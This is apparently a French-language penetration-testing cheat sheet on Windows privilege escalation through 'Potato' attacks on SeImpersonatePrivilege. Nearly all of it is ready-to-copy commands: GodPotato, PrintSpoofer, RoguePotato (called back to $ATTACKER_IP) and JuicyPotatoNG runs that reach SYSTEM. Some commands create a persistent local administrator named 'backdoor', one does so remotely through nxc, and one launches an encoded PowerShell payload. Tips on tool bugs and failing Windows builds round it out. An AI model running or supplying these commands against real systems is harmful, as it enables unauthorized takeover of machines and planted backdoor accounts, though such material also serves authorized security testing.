Windows Privilege Escalation

Potato Attacks

GodPotato, PrintSpoofer et RoguePotato pour escalader SeImpersonatePrivilege vers SYSTEM.

Identification des privilèges

Copy command
whoami /priv

Description: Lister les privilèges du token courant : identifier SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege.

Copy command
nxc smb $TARGET -u $USER -p $PASS -x 'whoami /priv'

Description: Vérifier les privilèges à distance : SeImpersonate présent sur la plupart des comptes de service.

GodPotato

Copy command
GodPotato.exe -cmd 'whoami'

Description: GodPotato : exploitation de SeImpersonatePrivilege, compatible Windows Server 2012-2022.

Copy command
GodPotato.exe -cmd 'net user backdoor Pass123! /add && net localgroup administrators backdoor /add'

Description: Créer un admin local via GodPotato : accès SYSTEM pour ajout de compte persistant.

PrintSpoofer & RoguePotato

Copy command
PrintSpoofer.exe -i -c cmd

Description: PrintSpoofer : escalade SeImpersonate vers SYSTEM via le Spooler (Windows 10/Server 2019).

Copy command
RoguePotato.exe -r $ATTACKER_IP -e 'whoami' -l 9999

Description: RoguePotato : alternative à JuicyPotato pour les environnements sans DCOM accessible.

Copy command
nxc smb $TARGET -u $USER -p $PASS -x 'C:\Temp\PrintSpoofer.exe -c "net user backdoor Pass123! /add"'

Description: Lancer PrintSpoofer à distance via NXC pour créer un admin sans session interactive.

JuicyPotatoNG

Copy command
JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\out.txt"

Description: Le JuicyPotato classique (mirror ohpe v0.1) a un bug de parsing d'arguments : -a et tout -p contenant un espace font planter le parser même bien échappés. JuicyPotatoNG (fork actif antonioCoco) gère correctement -a/-p.

Copy command
JuicyPotatoNG.exe -t * -p powershell.exe -a "-enc $B64"

Description: Le CLSID par défaut ({854A20FB-2D44-457D-992F-EF13785D2B51}) fonctionne directement, pas besoin de préciser -c. GodPotato échoue sur certains builds précis (ex: Server 2016 14393, 0x80070776) malgré un support annoncé large : tester les deux.